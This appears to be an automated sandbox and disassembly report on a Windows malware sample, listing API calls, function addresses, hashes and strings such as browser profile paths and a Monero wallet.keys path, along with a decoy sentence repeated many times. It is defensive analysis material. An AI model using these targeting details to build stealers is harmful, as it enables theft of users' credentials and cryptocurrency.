Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 9c8391c2b6b1dd2076ab501354be0556cb27703cd19610f2e8177189524374ac
Instruction ID: 4ee30177c566c9985eafb776c1c552783b58f6f10126482fb125cf9b30858d31
Opcode Fuzzy Hash: 9c8391c2b6b1dd2076ab501354be0556cb27703cd19610f2e8177189524374ac
Instruction Fuzzy Hash: 72A17CB593C240AFC344EFA8EFC89663BF9F74C321754471AE605C3624DA3A9841EB12

Function 007745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0077460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0077479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0077473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0077471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0077466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0077462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007746C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007746AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0077475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0077474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007746CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007746D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007746B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007745E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0077477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007745D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007745DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007745F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00774770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007745C7

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 3870fd1f238fe2a502395d86571048fb84ab646809de922b573e42b66714886a
Instruction ID: 1f61db8ba93c053c1aa4939b1e4327ee6367149ae2092987ec393444667c875a
Opcode Fuzzy Hash: 3870fd1f238fe2a502395d86571048fb84ab646809de922b573e42b66714886a
Instruction Fuzzy Hash: E14168A07D26347AEE67B7B4A84EFDF73725F42780F485040AA4852682CBF865264735

Function 0077BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

FindFirstFileA.KERNEL32(00000000,?,00790B32,00790B2B,00000000,?,?,?,007913F4,00790B2A), ref: 0077BEF5
StrCmpCA.SHLWAPI(?,007913F8), ref: 0077BF4D
StrCmpCA.SHLWAPI(?,007913FC), ref: 0077BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0077C7BF
FindClose.KERNEL32(000000FF), ref: 0077C7D1

Strings

Brave, xrefs: 0077C102
Preferences, xrefs: 0077C11E
\Brave\Preferences, xrefs: 0077C1DB
Google Chrome, xrefs: 0077C634

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 9966c1d32d9929703bc07b479ac91fc971e39e9ac27ac916c9a06a235a26c1c3
Instruction ID: 36f5e8c28fc05a4dd5dfe0774c8deb26c92ce32062e16b717e585cc8bcfa9e34
Opcode Fuzzy Hash: 9966c1d32d9929703bc07b479ac91fc971e39e9ac27ac916c9a06a235a26c1c3
Instruction Fuzzy Hash: 80425372950104EBDF14FB70DD9AEED737DAB94300F408569F50A96091EE3CAB49CBA2

Function 6C6135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C69F688,00001000), ref: 6C6135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C61363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C61369F
__aulldiv.LIBCMT ref: 6C6136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C613773
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C61377E
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C6137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6137C4
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C6137CB
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C613801
__aulldiv.LIBCMT ref: 6C613883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C613902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C613918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C61394C

Strings

GTC, xrefs: 6C613912
QPC, xrefs: 6C6138FC
AuthcAMDenti, xrefs: 6C613946
GenuntelineI, xrefs: 6C613639
MOZ_TIMESTAMP_MODE, xrefs: 6C6135DB

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3e6f983c6ceb883f4280ba65b14c5f0554bbe6b9744990ee5275b66348460789
Instruction ID: ebf15e7b3efc09cf472eb22eae7549ab0d4cc57c91c1751058b792fc7a3334a7
Opcode Fuzzy Hash: 3e6f983c6ceb883f4280ba65b14c5f0554bbe6b9744990ee5275b66348460789
Instruction Fuzzy Hash: 35B1B571B093129BDB08DF2AC89461A77F9BB8A705F15893EF49AD3750D7309805CB8A

Function 00784910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0078492C
FindFirstFileA.KERNEL32(?,?), ref: 00784943
StrCmpCA.SHLWAPI(?,00790FDC), ref: 00784971
StrCmpCA.SHLWAPI(?,00790FE0), ref: 00784987
FindNextFileA.KERNEL32(000000FF,?), ref: 00784B7D
FindClose.KERNEL32(000000FF), ref: 00784B92

Strings

%s\%s, xrefs: 007849A4
%s\%s, xrefs: 007849FB
%s\*, xrefs: 00784920

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: fe5f3c519d599f8babce4bb1441f4d702631e0fe1664cd24bc192c5d8a03afcf
Instruction ID: 85d29ab3eaacbdea0283d19e55d7701cf761b9800f113bdc31cf9236fd2c555a
Opcode Fuzzy Hash: fe5f3c519d599f8babce4bb1441f4d702631e0fe1664cd24bc192c5d8a03afcf
Instruction Fuzzy Hash: ED6159B1914219AFCB24EBA0DD49EEA737CBB48700F048688F60996141EB75EB45CF91

Function 00783EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00783EC3
FindFirstFileA.KERNEL32(?,?), ref: 00783EDA
StrCmpCA.SHLWAPI(?,00790FAC), ref: 00783F08
StrCmpCA.SHLWAPI(?,00790FB0), ref: 00783F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0078406C
FindClose.KERNEL32(000000FF), ref: 00784081

Strings

%s\%s, xrefs: 00783EB7

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 080f514d2f3ac609afac944f48cd4093da2568290402fbfd2259f846fc82c3e3
Instruction ID: 0151bc34c734c9f9f1ba2326460c842051cb31e101b7502c235c726c07fa45b5
Opcode Fuzzy Hash: 080f514d2f3ac609afac944f48cd4093da2568290402fbfd2259f846fc82c3e3
Instruction Fuzzy Hash: 8C515BB1914218EBCB24FBB4DD49EEA737CBB44700F4046C8F65996040EB79AB85DF91

Function 0077F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
